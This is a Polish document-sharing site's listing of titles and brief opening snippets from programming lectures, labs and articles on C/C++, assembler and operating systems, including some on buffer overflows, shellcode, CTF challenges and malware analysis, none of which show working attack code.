Assembler w C++ Syntaksa AT&T oraz Intela Ponownie dodaję artykuł zahaczający o temat assemblera. Na własnej skórze doświadczyłem dzisiaj problemów ze wstawką assemblerową w kodzie C++, dlatego postanowiłem stworzyć artykuł, w którym zbiorę w

Bardziej szczegółowo

002 Opcode Strony projektu:

002 Opcode Strony projektu: ReverseCraft assem bler by gynvael.coldwind//vx Opcode Strony projektu: http://re.coldwind.pl/ http://www.uw-team.org/ Zasoby! czyli co możemy użyć... Instrukcje procesora Pamięć Wirtualna Rejestry CPU

Bardziej szczegółowo

Język ludzki kod maszynowy

Język ludzki kod maszynowy Język ludzki kod maszynowy poziom wysoki Język ludzki (mowa) Język programowania wysokiego poziomu Jeśli liczba punktów jest większa niż 50, test zostaje zaliczony; w przeciwnym razie testu nie zalicza

Bardziej szczegółowo

Programowanie w C++ Wykład 5. Katarzyna Grzelak. 16 kwietnia K.Grzelak (Wykład 1) Programowanie w C++ 1 / 27

Programowanie w C++ Wykład 5. Katarzyna Grzelak. 16 kwietnia K.Grzelak (Wykład 1) Programowanie w C++ 1 / 27 Programowanie w C++ Wykład 5 Katarzyna Grzelak 16 kwietnia 2018 K.Grzelak (Wykład 1) Programowanie w C++ 1 / 27 Pojęcia z poprzednich wykładów Tablica to ciag obiektów tego samego typu, zajmujacy ciagły

Bardziej szczegółowo

Wstęp do Programowania, laboratorium 02

Wstęp do Programowania, laboratorium 02 Wstęp do Programowania, laboratorium 02 Zadanie 1. Napisać program pobierający dwie liczby całkowite i wypisujący na ekran największą z nich. Zadanie 2. Napisać program pobierający trzy liczby całkowite

Bardziej szczegółowo

Struktury. Przykład W8_1

Struktury. Przykład W8_1 Struktury Struktury pozwalają na grupowanie zmiennych różnych typów pod wspólną nazwą. To istotnie ułatwia organizacje danych, które okazują się w jednym miejscu kodu programu. To jest bardzo ważne dla

Bardziej szczegółowo

Laboratorium 1 Temat: Przygotowanie środowiska programistycznego. Poznanie edytora. Kompilacja i uruchomienie prostych programów przykładowych.

Laboratorium 1 Temat: Przygotowanie środowiska programistycznego. Poznanie edytora. Kompilacja i uruchomienie prostych programów przykładowych. Laboratorium 1 Temat: Przygotowanie środowiska programistycznego. Poznanie edytora. Kompilacja i uruchomienie prostych programów przykładowych. 1. Przygotowanie środowiska programistycznego. Zajęcia będą

Bardziej szczegółowo

Adam Zabrocki http://pi3.hack.pl pi3@itsec.pl (lub oficjalnie: adam.zabrocki@avet.com.pl)

Adam Zabrocki http://pi3.hack.pl pi3@itsec.pl (lub oficjalnie: adam.zabrocki@avet.com.pl) Włamania do systemów w Linux Adam Zabrocki http://pi3.hack.pl pi3@itsec.pl (lub oficjalnie: adam.zabrocki@avet.com.pl) Włamania do systemów w Linux Dlaczego Linux? Jądro 2.4 a 2.6 Włamania do systemów

Bardziej szczegółowo

Zasady programowania Dokumentacja

Zasady programowania Dokumentacja Marcin Kędzierski gr. 14 Zasady programowania Dokumentacja Wstęp 1) Temat: Przeszukiwanie pliku za pomocą drzewa. 2) Założenia projektu: a) Program ma pobierać dane z pliku wskazanego przez użytkownika

Bardziej szczegółowo

Adam Kotynia, Łukasz Kowalczyk

Adam Kotynia, Łukasz Kowalczyk Adam Kotynia, Łukasz Kowalczyk Dynamiczna alokacja pamięci Alokacja pamięci oraz dezalokacja pamięci jest to odpowiednio przydział i zwolnienie ciągłego obszaru pamięci. Po uruchomieniu, proces (program)

Bardziej szczegółowo

Przepełnienie bufora. Trochę historii Definicja problemu Mechanizm działania Przyczyny Źródła (coś do poczytania)

Przepełnienie bufora. Trochę historii Definicja problemu Mechanizm działania Przyczyny Źródła (coś do poczytania) Przepełnienie bufora Trochę historii Definicja problemu Mechanizm działania Przyczyny Źródła (coś do poczytania) Historia ważniejsze wydarzenia 1988 Morris worm, wykorzystywał m.in. przepełnienie bufora

Bardziej szczegółowo

Cel wykładu. Przedstawienie działania exploitów u podstaw na przykładzie stack overflow.

Cel wykładu. Przedstawienie działania exploitów u podstaw na przykładzie stack overflow. Exploity w praktyce Plan prelekcji Powtórka assembly x86 32. Pamięć uruchamianych programów. Prosty stack overflow exploit. Tworzenie shellcode i jego uruchomienie. Wstrzykiwanie shellcode wykorzystując

Bardziej szczegółowo

Podstawy programowania, Poniedziałek , 8-10 Projekt, część 1

Podstawy programowania, Poniedziałek , 8-10 Projekt, część 1 Podstawy programowania, Poniedziałek 30.05.2016, 8-10 Projekt, część 1 1. Zadanie Projekt polega na stworzeniu logicznej gry komputerowej działającej w trybie tekstowym o nazwie Minefield. 2. Cele Celem

Bardziej szczegółowo

Programowanie w C++ Wykład 5. Katarzyna Grzelak. 26 marca kwietnia K.Grzelak (Wykład 1) Programowanie w C++ 1 / 40

Programowanie w C++ Wykład 5. Katarzyna Grzelak. 26 marca kwietnia K.Grzelak (Wykład 1) Programowanie w C++ 1 / 40 Programowanie w C++ Wykład 5 Katarzyna Grzelak 26 marca 2018 9 kwietnia 2018 K.Grzelak (Wykład 1) Programowanie w C++ 1 / 40 Pojęcia z poprzedniego wykładu Podział programu na funkcje podział na niezależne

Bardziej szczegółowo

Architektura komputerów. Asembler procesorów rodziny x86

Architektura komputerów. Asembler procesorów rodziny x86 Architektura komputerów Asembler procesorów rodziny x86 Architektura komputerów Asembler procesorów rodziny x86 Rozkazy mikroprocesora Rozkazy mikroprocesora 8086 można podzielić na siedem funkcjonalnych

Bardziej szczegółowo

Krótkie wprowadzenie do korzystania z OpenSSL

Krótkie wprowadzenie do korzystania z OpenSSL Krótkie wprowadzenie do korzystania z OpenSSL Literatura: http://www.openssl.org E. Rescola, "An introduction to OpenSSL Programming (PartI)" (http://www.linuxjournal.com/article/4822) "An introduction

Bardziej szczegółowo

znajdowały się różne instrukcje) to tak naprawdę definicja funkcji main.

znajdowały się różne instrukcje) to tak naprawdę definicja funkcji main. Część XVI C++ Funkcje Jeśli nasz program rozrósł się już do kilkudziesięciu linijek, warto pomyśleć o jego podziale na mniejsze części. Poznajmy więc funkcje. Szybko się przekonamy, że funkcja to bardzo

Bardziej szczegółowo

CSAW CTF Qualification Round 2015 Rhinoxorus

CSAW CTF Qualification Round 2015 Rhinoxorus CSAW CTF Qualification Round 2015 Rhinoxorus CSAW CTF to najpopularniejsze na świecie zawody Capture The Flag skierowane głównie dla początkujących. Organizowane są przez studentów Instytutu Politechnicznego

Bardziej szczegółowo

Pliki w C/C++ Przykłady na podstawie materiałów dr T. Jeleniewskiego

Pliki w C/C++ Przykłady na podstawie materiałów dr T. Jeleniewskiego Pliki w C/C++ Przykłady na podstawie materiałów dr T. Jeleniewskiego 1 /24 Pisanie pojedynczych znaków z klawiatury do pliku #include void main(void) { FILE *fptr; // wkaznik do pliku, tzw. uchwyt

Bardziej szczegółowo

Wstęp do programowania

Wstęp do programowania Wstęp do programowania Przemysław Gawroński D-10, p. 234 Wykład 1 8 października 2018 (Wykład 1) Wstęp do programowania 8 października 2018 1 / 12 Outline 1 Literatura 2 Programowanie? 3 Hello World (Wykład

Bardziej szczegółowo

[ Odnajdywanie shellcodu w procesach zdalnych. ]

[ Odnajdywanie shellcodu w procesach zdalnych. ] [ Odnajdywanie shellcodu w procesach zdalnych. ] Autor: Krystian Kloskowski (h07) -http://milw0rm.com/author/668 -http://www.h07.int.pl 0x00 [INTRO] Do właściwego zrozumienia treści tego

Bardziej szczegółowo

Podstawy języka skryptowego Lua

Podstawy języka skryptowego Lua Podstawy języka skryptowego Lua Wykorzystanie Lua w C++ Krzysztof Rossa - digiboy rbox_usuń_@o2.pl 2007-07-29 Kontakt z autorem: rbox_usun_@o2.pl Zawartość Wstęp... 3 Po co używamy skryptów?... 3 Przygotowanie

Bardziej szczegółowo

Wstęp do Reverse engineeringu

Wstęp do Reverse engineeringu Wstęp do Reverse engineeringu O mnie Agnieszka Bielec Eternal pracuję w CERT Polska jako Malware Analyst CTFy z p4 prowadze bloga eternal.red lubie ścianki wpinaczkowe i rower twitter Reverse Engineering

Bardziej szczegółowo

Programowanie w C++ Wykład 2. Katarzyna Grzelak. 4 marca K.Grzelak (Wykład 1) Programowanie w C++ 1 / 44

Programowanie w C++ Wykład 2. Katarzyna Grzelak. 4 marca K.Grzelak (Wykład 1) Programowanie w C++ 1 / 44 Programowanie w C++ Wykład 2 Katarzyna Grzelak 4 marca 2019 K.Grzelak (Wykład 1) Programowanie w C++ 1 / 44 Na poprzednim wykładzie podstawy C++ Każdy program w C++ musi mieć funkcję o nazwie main Wcięcia

Bardziej szczegółowo

Optymalizacja szelkodów w Linuksie

Optymalizacja szelkodów w Linuksie Optymalizacja szelkodów w Linuksie Michał Piotrowski Artykuł opublikowany w numerze 4/2005 magazynu hakin9. Zapraszamy do lektury całego magazynu. Wszystkie prawa zastrzeżone. Bezpłatne kopiowanie i rozpowszechnianie

Bardziej szczegółowo

Programowanie Równoległe wykład, 21.01.2013. CUDA, przykłady praktyczne 1. Maciej Matyka Instytut Fizyki Teoretycznej

Programowanie Równoległe wykład, 21.01.2013. CUDA, przykłady praktyczne 1. Maciej Matyka Instytut Fizyki Teoretycznej Programowanie Równoległe wykład, 21.01.2013 CUDA, przykłady praktyczne 1 Maciej Matyka Instytut Fizyki Teoretycznej Motywacja l CPU vs GPU (anims) Plan CUDA w praktyce Wykład 1: CUDA w praktyce l aplikacja

Bardziej szczegółowo

Faktura Orange z 11 lipca 2014 roku zawierająca złośliwe oprogramowanie ANALIZA

Faktura Orange z 11 lipca 2014 roku zawierająca złośliwe oprogramowanie ANALIZA Faktura Orange z 11 lipca 2014 roku zawierająca złośliwe oprogramowanie ANALIZA 21 Lipiec, 2014 W dniu 11 lipca 2014 zarejestrowaliśmy kolejną kampanię polegającą na rozsyłaniu złośliwego oprogramowania

Bardziej szczegółowo

Architektura systemów komputerowych Laboratorium 8 Symulator SMS32 Instrukcje skoku i pętle

Architektura systemów komputerowych Laboratorium 8 Symulator SMS32 Instrukcje skoku i pętle Marcin Stępniak Architektura systemów komputerowych Laboratorium 8 Symulator SMS32 Instrukcje skoku i pętle 1. Informacje 1.1. Instrukcje skoku Instrukcje skoku zmieniają wskaźnik instrukcji w rejestrze

Bardziej szczegółowo

Procesy. Systemy Operacyjne 2 laboratorium. Mateusz Hołenko. 9 października 2011

Procesy. Systemy Operacyjne 2 laboratorium. Mateusz Hołenko. 9 października 2011 Procesy Systemy Operacyjne 2 laboratorium Mateusz Hołenko 9 października 2011 Plan zajęć 1 Procesy w systemie Linux proces procesy macierzyste i potomne procesy zombie i sieroty 2 Funkcje systemowe pobieranie

Bardziej szczegółowo

I - Microsoft Visual Studio C++

I - Microsoft Visual Studio C++ I - Microsoft Visual Studio C++ 1. Nowy projekt z Menu wybieramy File -> New -> Projekt -> Win32 Console Application w okienku Name: podajemy nazwę projektu w polu Location: wybieramy miejsce zapisu i

Bardziej szczegółowo

Programowanie Obiektowo Zorientowane w języku c++ Przestrzenie nazw

Programowanie Obiektowo Zorientowane w języku c++ Przestrzenie nazw Programowanie Obiektowo Zorientowane w języku c++ Przestrzenie nazw Mirosław Głowacki 1 1 Akademia Górniczo-Hutnicza im. Stanisława Staszica w Ktrakowie Wydział Inżynierii Metali i Informatyki Stosowanej

Bardziej szczegółowo

Programowanie hybrydowe łączenie C/C++ z asemblerem

Programowanie hybrydowe łączenie C/C++ z asemblerem Programowanie hybrydowe łączenie C/C++ z asemblerem Konwencje Wywoływanie procedur asemblerowych w kodzie języka wysokiego poziomu wymaga: Ustalenia konwencji nazewniczej używanej w języku programowania

Bardziej szczegółowo

Lab 8. Tablice liczbowe cd,. Operacje macierzowo-wektorowe, memcpy, memmove, memset. Wyrażenie warunkowe.

Lab 8. Tablice liczbowe cd,. Operacje macierzowo-wektorowe, memcpy, memmove, memset. Wyrażenie warunkowe. Języki i paradygmaty programowania 1 studia stacjonarne 2018/19 Lab 8. Tablice liczbowe cd,. Operacje macierzowo-wektorowe, memcpy, memmove, memset. Wyrażenie warunkowe. 1. Wektory i macierze: a. Przykład

Bardziej szczegółowo

Pętle i tablice. Spotkanie 3. Pętle: for, while, do while. Tablice. Przykłady

Pętle i tablice. Spotkanie 3. Pętle: for, while, do while. Tablice. Przykłady Pętle i tablice. Spotkanie 3 Dr inż. Dariusz JĘDRZEJCZYK Pętle: for, while, do while Tablice Przykłady 11/26/2016 AGH, Katedra Informatyki Stosowanej i Modelowania 2 Pętla w największym uproszczeniu służy

Bardziej szczegółowo

Podstawy programowania. Wykład Funkcje. Krzysztof Banaś Podstawy programowania 1

Podstawy programowania. Wykład Funkcje. Krzysztof Banaś Podstawy programowania 1 Podstawy programowania. Wykład Funkcje Krzysztof Banaś Podstawy programowania 1 Programowanie proceduralne Pojęcie procedury (funkcji) programowanie proceduralne realizacja określonego zadania specyfikacja

Bardziej szczegółowo

Laboratorium Systemów Operacyjnych. Ćwiczenie 4. Operacje na plikach

Laboratorium Systemów Operacyjnych. Ćwiczenie 4. Operacje na plikach Laboratorium Systemów Operacyjnych Ćwiczenie 4. Operacje na plikach Wykonanie operacji wymaga wskazania pliku, na którym operacja ma zostać wykonana. Plik w systemie LINUX identyfikowany jest przez nazwę,

Bardziej szczegółowo

RPC. Zdalne wywoływanie procedur (ang. Remote Procedure Calls )

RPC. Zdalne wywoływanie procedur (ang. Remote Procedure Calls ) III RPC Zdalne wywoływanie procedur (ang. Remote Procedure Calls ) 1. Koncepcja Aplikacja wywołanie procedury parametry wyniki wykonanie procedury wynik komputer klienta komputer serwera Zaletą takiego

Bardziej szczegółowo

PROGRAMOWANIE NISKOPOZIOMOWE

PROGRAMOWANIE NISKOPOZIOMOWE PROGRAMOWANIE NISKOPOZIOMOWE PN.06 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 c Dr inż. Ignacy Pardyka (Inf.UJK) PN.06 Rok akad. 2011/2012 1 / 22 1 Asembler

Bardziej szczegółowo

Podstawy informatyki. Informatyka stosowana - studia niestacjonarne. Grzegorz Smyk. Wydział Inżynierii Metali i Informatyki Przemysłowej

Podstawy informatyki. Informatyka stosowana - studia niestacjonarne. Grzegorz Smyk. Wydział Inżynierii Metali i Informatyki Przemysłowej Podstawy informatyki Informatyka stosowana - studia niestacjonarne Grzegorz Smyk Wydział Inżynierii Metali i Informatyki Przemysłowej Akademia Górniczo Hutnicza im. Stanisława Staszica w Krakowie, rok

Bardziej szczegółowo

Techniki programowania INP001002Wl rok akademicki 2018/19 semestr letni. Wykład 8. Karol Tarnowski A-1 p.

Techniki programowania INP001002Wl rok akademicki 2018/19 semestr letni. Wykład 8. Karol Tarnowski A-1 p. Techniki programowania INP001002Wl rok akademicki 2018/19 semestr letni Wykład 8 Karol Tarnowski karol.tarnowski@pwr.edu.pl A-1 p. 411B Plan prezentacji Biblioteka GSL Na podstawie: https://www.gnu.org/software/gsl/doc/html/index.html

Bardziej szczegółowo

Temat: Dynamiczne przydzielanie i zwalnianie pamięci. Struktura listy operacje wstawiania, wyszukiwania oraz usuwania danych.

Temat: Dynamiczne przydzielanie i zwalnianie pamięci. Struktura listy operacje wstawiania, wyszukiwania oraz usuwania danych. Temat: Dynamiczne przydzielanie i zwalnianie pamięci. Struktura listy operacje wstawiania, wyszukiwania oraz usuwania danych. 1. Rodzaje pamięci używanej w programach Pamięć komputera, dostępna dla programu,

Bardziej szczegółowo

Bloki anonimowe w PL/SQL

Bloki anonimowe w PL/SQL Język PL/SQL PL/SQL to specjalny język proceduralny stosowany w bazach danych Oracle. Język ten stanowi rozszerzenie SQL o szereg instrukcji, znanych w proceduralnych językach programowania. Umożliwia

Bardziej szczegółowo

Architektura komputerów

Architektura komputerów Architektura komputerów Tydzień 5 Jednostka Centralna Zadania realizowane przez procesor Pobieranie rozkazów Interpretowanie rozkazów Pobieranie danych Przetwarzanie danych Zapisanie danych Główne zespoły

Bardziej szczegółowo

Materiał. Typy zmiennych Instrukcje warunkowe Pętle Tablice statyczne Funkcje Wskaźniki Referencje Tablice dynamiczne Typ string Przeładowania funkcji

Materiał. Typy zmiennych Instrukcje warunkowe Pętle Tablice statyczne Funkcje Wskaźniki Referencje Tablice dynamiczne Typ string Przeładowania funkcji Podstawy informatyki Informatyka stosowana - studia niestacjonarne - Zajęcia nr 5 Grzegorz Smyk Wydział Inżynierii Metali i Informatyki Przemysłowej Akademia Górniczo Hutnicza im. Stanisława Staszica w

Bardziej szczegółowo

Informacje wstępne #include <nazwa> - derektywa procesora umożliwiająca włączenie do programu pliku o podanej nazwie. Typy danych: char, signed char

Informacje wstępne #include <nazwa> - derektywa procesora umożliwiająca włączenie do programu pliku o podanej nazwie. Typy danych: char, signed char Programowanie C++ Informacje wstępne #include - derektywa procesora umożliwiająca włączenie do programu pliku o podanej nazwie. Typy danych: char, signed char = -128 do 127, unsigned char = od

Bardziej szczegółowo

Programowanie w elektronice: Podstawy C

Programowanie w elektronice: Podstawy C Programowanie w elektronice: Podstawy C Projekt Matematyka dla Ciekawych Świata, Robert Ryszard Paciorek 2019-05-05 C / C++ są najpopularniejszymi językami kompilowanymi do kodu maszynowego

Bardziej szczegółowo

Wskaźnik może wskazywać na jakąś zmienną, strukturę, tablicę a nawet funkcję. Oto podstawowe operatory niezbędne do operowania wskaźnikami:

Wskaźnik może wskazywać na jakąś zmienną, strukturę, tablicę a nawet funkcję. Oto podstawowe operatory niezbędne do operowania wskaźnikami: Wskaźniki są nieodłącznym elementem języka C. W języku C++ także są przydatne i korzystanie z nich ułatwia pracę, jednak w odróżnieniu do C wiele rzeczy da się osiągnąć bez ich użycia. Poprawne operowanie

Bardziej szczegółowo

ISO/ANSI C - funkcje. Funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje

ISO/ANSI C - funkcje. Funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje Funkcje (podprogramy) Mianem funkcji określa się fragment kodu, który może być wykonywany wielokrotnie z różnych miejsc programu. Ogólny zapis: typ nazwa(argumenty) ciało funkcji typ określa typ danych

Bardziej szczegółowo

METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE. Wykład 02

METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE. Wykład 02 METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE Wykład 02 NAJPROSTSZY PROGRAM /* (Prawie) najprostszy przykład programu w C */ /*==================*/ /* Między tymi znaczkami można pisać, co się

Bardziej szczegółowo

Architektura systemów komputerowych Laboratorium 14 Symulator SMS32 Implementacja algorytmów

Architektura systemów komputerowych Laboratorium 14 Symulator SMS32 Implementacja algorytmów Marcin Stępniak Architektura systemów komputerowych Laboratorium 14 Symulator SMS32 Implementacja algorytmów 1. Informacje Poniższe laboratoria zawierają podsumowanie najważniejszych informacji na temat

Bardziej szczegółowo

Temat 1. Podstawy Środowiska Xcode i wprowadzenie do języka Objective-C

Temat 1. Podstawy Środowiska Xcode i wprowadzenie do języka Objective-C Temat 1. Podstawy Środowiska Xcode i wprowadzenie do języka Objective-C Wymagana wiedza wstępna: 1) Student musi 1) Znać język C 2) Znać zasady zarządzania pamięcią w komputerze 3) Znać pojecie wskaźnika

Bardziej szczegółowo

Ćwiczenie nr 6. Programowanie mieszane

Ćwiczenie nr 6. Programowanie mieszane Ćwiczenie nr 6 Programowanie mieszane 6.1 Wstęp Współczesne języki programowania posiadają bardzo rozbudowane elementy językowe, co pozwala w większości przypadków na zdefiniowanie całego kodu programu

Bardziej szczegółowo

Architektura komputerów

Architektura komputerów Architektura komputerów Wykład 6 Jan Kazimirski 1 Architektura x86 2 Środowisko wykonawcze x86 (32-bit) Przestrzeń adresowa Liniowa przestrzeń adresowa do 4 GB Fizyczna przestrzeń adresowa do 64 GB Rejestry

Bardziej szczegółowo

Języki C i C++ Wykład: 2. Wstęp Instrukcje sterujące. dr Artur Bartoszewski - Języki C i C++, sem. 1I- WYKŁAD

Języki C i C++ Wykład: 2. Wstęp Instrukcje sterujące. dr Artur Bartoszewski - Języki C i C++, sem. 1I- WYKŁAD Języki C i C++ Wykład: 2 Wstęp Instrukcje sterujące 1 dr Artur Bartoszewski - Języki C i C++, sem. 1I- WYKŁAD programowania w C++ Instrukcje sterujące 2 Pętla for for ( instrukcja_ini ; wyrazenie_warunkowe

Bardziej szczegółowo

Programowanie strukturalne język C - wprowadzenie

Programowanie strukturalne język C - wprowadzenie Programowanie strukturalne język C - wprowadzenie Dr inż. Sławomir Samolej D102 C, tel: 865 1766, email: ssamolej@prz-rzeszow.pl WWW: ssamolej.prz-rzeszow.pl Cechy programowania strukturalnego Możliwość

Bardziej szczegółowo

PROGRAMY REZYDENTNE Terminate and State Resident, TSR

PROGRAMY REZYDENTNE Terminate and State Resident, TSR PROGRAMY REZYDENTNE Terminate and State Resident, TSR O co tu chodzi Podstawowe reguły Jak może program zostać rezydentnym Przechwytywanie przerwań Jak się samoznaleźć w pamięci Aktywacja TSR-u. Problemy

Bardziej szczegółowo

Instrukcja do ćwiczenia P4 Analiza semantyczna i generowanie kodu Język: Ada

Instrukcja do ćwiczenia P4 Analiza semantyczna i generowanie kodu Język: Ada Instrukcja do ćwiczenia P4 Analiza semantyczna i generowanie kodu Język: Ada Spis treści 1 Wprowadzenie 1 2 Dane i kod 2 3 Wyrażenia 2 3.1 Operacje arytmetyczne i logiczne.................. 2 3.2 Podstawowe

Bardziej szczegółowo

Signals + Threads: Qt vs. Boost

Signals + Threads: Qt vs. Boost Signals + Threads: Qt vs. Boost Adam Bujalski 2014-04-01 Adam Bujalski Signals + Threads: Qt vs. Boost 2014-04-01 1 / 22 Spis Treści 1 2 Wątki 3 Qt::QueuedConnection w boost Adam Bujalski Signals + Threads:

Bardziej szczegółowo

Exploity, Rootkity i Shell Code. Bartłomiej Rusiniak

Exploity, Rootkity i Shell Code. Bartłomiej Rusiniak Exploity, Rootkity i Shell Code Bartłomiej Rusiniak Styczeń 2003 Spis treści 1 Exploity 2 1.1 Błędy semantyczne.............................. 3 1.2 Błędy systemowe............................... 5 1.2.1

Bardziej szczegółowo

Tablice, funkcje - wprowadzenie

Tablice, funkcje - wprowadzenie Tablice, funkcje - wprowadzenie Przemysław Gawroński D-10, p. 234 Wykład 5 25 marca 2019 (Wykład 5) Tablice, funkcje - wprowadzenie 25 marca 2019 1 / 12 Outline 1 Tablice jednowymiarowe 2 Funkcje (Wykład

Bardziej szczegółowo

Shellcody a architektura MIPS na systemach IRIX. Adam Zabrocki.

Shellcody a architektura MIPS na systemach IRIX. Adam Zabrocki. Adam Zabrocki http://pi3.shellcode.pl pi3@itsec.pl Architektura MIPS: MIPS Microprocessor without Interlocked Piped Stages: RISC Rationalized Instruction Set Computers (Reduced Instruction Set Computers)

Bardziej szczegółowo

Katedra Elektrotechniki Teoretycznej i Informatyki. wykład 12 - sem.iii. M. Czyżak

Katedra Elektrotechniki Teoretycznej i Informatyki. wykład 12 - sem.iii. M. Czyżak Katedra Elektrotechniki Teoretycznej i Informatyki wykład 12 - sem.iii M. Czyżak Język C - preprocesor Preprocesor C i C++ (cpp) jest programem, który przetwarza tekst programu przed przekazaniem go kompilatorowi.

Bardziej szczegółowo

Ćwiczenie nr 3. Wyświetlanie i wczytywanie danych

Ćwiczenie nr 3. Wyświetlanie i wczytywanie danych Ćwiczenie nr 3 Wyświetlanie i wczytywanie danych 3.1 Wstęp Współczesne komputery przetwarzają dane zakodowane za pomocą ciągów zerojedynkowych. W szczególności przetwarzane liczby kodowane są w systemie

Bardziej szczegółowo

Poniższe funkcje opisane są w 2 i 3 części pomocy systemowej.

Poniższe funkcje opisane są w 2 i 3 części pomocy systemowej. Procesy Proces (zwany też zadaniem) jest jednostką aktywną, kontrolowaną przez system operacyjny i związaną z wykonywanym programem. Proces ma przydzielone zasoby typu pamięć (segment kodu, segment danych,

Bardziej szczegółowo

Automatyczne tworzenie operatora = Integer2& operator=(const Integer& prawy) { zdefiniuje. Integer::operator=(ri);

Automatyczne tworzenie operatora = Integer2& operator=(const Integer& prawy) { zdefiniuje. Integer::operator=(ri); Przeciążanie operatorów [] Przykład: klasa reprezentująca typ tablicowy. Obiekt ma reprezentować tablicę, do której można się odwoływać intuicyjnie, np. Tab[i] Ma być też dostępnych kilka innych metod

Bardziej szczegółowo

NETBEANS PROFILER TOMASZ ŁUKASZUK

NETBEANS PROFILER TOMASZ ŁUKASZUK NETBEANS PROFILER TOMASZ ŁUKASZUK STRESZCZENIE: Dokument zawiera podstawowe informacje dotyczące programu NetBeans Profiler. Stanowi uproszczoną instrukcję jego używania. Dotyczy NetBeans Profiler w wersji

Bardziej szczegółowo

dr inż. Jarosław Forenc

dr inż. Jarosław Forenc Informatyka 1 Politechnika Białostocka - Wydział Elektryczny Elektrotechnika, semestr II, studia stacjonarne I stopnia Rok akademicki 2014/2015 Pracownia nr 7 (10/20.04.2015) dr inż. Jarosław Forenc Rok

Bardziej szczegółowo

Łącza nienazwane(potoki) Łącza nienazwane mogą być używane tylko pomiędzy procesami ze sobą powiązanymi.

Łącza nienazwane(potoki) Łącza nienazwane mogą być używane tylko pomiędzy procesami ze sobą powiązanymi. Przykład: $ ls more Łącza nienazwane(potoki) Łącza nienazwane mogą być używane tylko pomiędzy procesami ze sobą powiązanymi. Tworzenie łącza #include int pipe(int filedes[2]); Przykład: int

Bardziej szczegółowo

Grzegorz Cygan. Wstęp do programowania mikrosterowników w języku C

Grzegorz Cygan. Wstęp do programowania mikrosterowników w języku C Grzegorz Cygan Wstęp do programowania mikrosterowników w języku C Mikrosterownik Inne nazwy: Microcontroler (z języka angielskiego) Ta nazwa jest powszechnie używana w Polsce. Mikrokomputer jednoukładowy

Bardziej szczegółowo

Programowanie w asemblerze Uruchamianie programów

Programowanie w asemblerze Uruchamianie programów Programowanie w asemblerze Uruchamianie programów 17 stycznia 2017 Uruchamianie programów Przy uruchamianiu i badaniu zachowania programów systemowych używa się wielu narzędzi. Prostsze z ich, takie jak

Bardziej szczegółowo

Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl)

Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl) Wprowadzenie do tworzenia kodów powłoki w systemie Linux. by h07 (h07@interia.pl) char *index[6]; index[0] = "Intro"; index[1] = "Zaczynamy"; index[2] = "Hello world?!"; index[3] = "Shellcode tworzący

Bardziej szczegółowo

Szablony funkcji i szablony klas

Szablony funkcji i szablony klas Bogdan Kreczmer bogdan.kreczmer@pwr.wroc.pl Zakład Podstaw Cybernetyki i Robotyki Instytut Informatyki, Automatyki i Robotyki Politechnika Wrocławska Kurs: Copyright c 2011 Bogdan Kreczmer Niniejszy dokument

Bardziej szczegółowo

Automatyczne tworzenie operatora = Integer2& operator=(const Integer& prawy) {

Automatyczne tworzenie operatora = Integer2& operator=(const Integer& prawy) { Przeciążanie a dziedziczenie class Integer2: public Integer Operatory, z wyjątkiem operatora przypisania są automatycznie dziedziczone w klasach pochodnych. Integer2(int i): Integer(i) Automatyczne tworzenie

Bardziej szczegółowo

Języki i metodyka programowania. Wprowadzenie do języka C

Języki i metodyka programowania. Wprowadzenie do języka C Literatura: Brian W. Kernighan, Dennis M. Ritchie Język Ansi C, Wydawnictwa Naukowo - Techniczne, 2007 http://cm.bell-labs.com/cm/cs/cbook/index.html Scott E. Gimpel, Clovis L. Tondo Język Ansi C. Ćwiczenia

Bardziej szczegółowo

Podstawy programowania skrót z wykładów:

Podstawy programowania skrót z wykładów: Podstawy programowania skrót z wykładów: // komentarz jednowierszowy. /* */ komentarz wielowierszowy. # include dyrektywa preprocesora, załączająca biblioteki (pliki nagłówkowe). using namespace

Bardziej szczegółowo

ZASADY PROGRAMOWANIA KOMPUTERÓW

ZASADY PROGRAMOWANIA KOMPUTERÓW POLITECHNIKA WARSZAWSKA Instytut Automatyki i i Robotyki ZASADY PROGRAMOWANIA KOMPUTERÓW Język Język programowania: C/C++ Środowisko programistyczne: C++Builder 6 Wykład 9.. Wskaźniki i i zmienne dynamiczne.

Bardziej szczegółowo